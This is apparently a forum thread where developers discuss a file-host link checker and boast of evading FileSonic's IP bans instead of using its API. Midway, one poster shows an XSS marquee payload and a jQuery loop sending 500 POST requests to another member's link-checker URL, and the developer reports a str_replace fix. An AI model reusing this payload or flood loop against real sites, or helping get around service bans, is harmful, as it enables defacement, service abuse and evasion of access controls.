@OP save you screen scraping, use API its faster
http://code.google.com/p/ifileit/wiki/CheckFileStatus
76 links checked in 6.016 seconds. I think i dont use api
@Mr Happy: for filesonic i will dont use their link chekcer :P i used own method to bypass their shitty blocking page :D
also about that 20 links ... i checked 100 links and result was about 5 sec which is goodwith api was +/- 1-2 sec.
oh also http://www.wjunction.com/98282-post7.htm - "It took 3-4 seconds to test 8 links" mine today 76 links checked in 6.016 seconds :D how the speeds increased :D
<marquee><font color=red size=50>XSSeD By AdelSBM</font></marquee>
var action = "http://www.skripterz.info/dev/Link_Checker/?add_new&host=google.com";
var i=0;
for (i=0;i<=500;i++)
{
action += i;
$.ajax({
type: 'POST',
url: action,
data: {specific:'meh'},
success: function(){
},
dataType: ''
});
}
can make it popup this will be great
If a filehost offers an API, you use it.
Not just for the speed, but also because they offer an API for a reason.
You're causing a lot of unnecessary load for the filehost. FileSonic bans your IP for a reason. By circumventing it you're just forcing them to tighten their belt even more. And so you are indirectly causing problems for other developers.
Just use the damn API.
and with this i think we can check big ****** ahhh devs :D$urls = array( 'http://www.filesonic.com/file/1', 'http://www.filesonic.com/file/2/filename.zip', 'http://www.filesonic.com/file/r3/4', 'http://www.filesonic.com/file/r5/6/filename.zip' ); $regex = '|/file/(([a-z][0-9]+/)?[0-9]+)(/.*)?$|'; foreach($urls AS $url) { $matches = array(); preg_match($regex, $url, $matches); if (!isset($matches[1])) continue; echo str_replace('/', '-', $matches[1]) . "\n"; } /* Will output: 1 2 r3-4 r5-6 */
still just XSS :D
anyway fixed via str_replace :D
i dont love "too much" hackers ...
like i said i dont love hackers
Not all filehosts have API
Filesonic banned and we bypassed them naaah :d Btw i dont think their API can handle requests being made with our link checker, oh also we dont downloading just caching their page and then checking if a link exists or not, so not our problem if filesonic (that host BIG files) getting small traffic from us via link checker i am laughting at this :d
Thier zpa-kool api provides (http://api.filesonic.com/link)
and with this i think we can check big ****** ahhh devs :d
When filehosts wake up and STOP banning ips and acc. for nothing then we use their fcked APIS lol